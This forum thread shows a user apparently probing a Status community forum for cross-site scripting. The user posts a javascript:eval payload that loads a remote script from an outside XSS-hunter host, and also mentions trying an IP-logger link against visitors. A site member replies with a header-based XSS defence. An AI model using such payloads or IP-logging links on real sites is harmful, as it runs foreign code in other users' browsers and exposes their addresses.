Testtest for xss from hackerone

Archive
1

testing from hackerone

1 Like
2

">

3

javascript:eval(‘var a=document.createElement('script');a.src='https://a5h.xss.ht';document.body.appendChild(a)’)

1 Like
4

">

5

6

Nice; did you find any vulnerabilities?

7

still no but i can get ip who visit my page are you from status.im?

8

Yeah, I’m tidus.eth on Status. :slight_smile:

9

got it nice to meet you

1 Like
10

11

Likewise! Haha I see you trying to fetch https://iplogger.org/1bzX47 :smiley:

12

yes iam checking i can hide any payload to do something

1 Like
13

I generally block XSS by injecting headers through my Web server across everything I host (Caddy makes this super easy), then relaxing them per subdomain as needed or if I see errors in the console for whatever.

14

cool okay i will try other vulnerability test

1 Like
15

Best of luck! Thanks for the white hat work. :slight_smile:

16

thanks for chat chris i try my best

2 Likes
17

welcome :)))))))))))))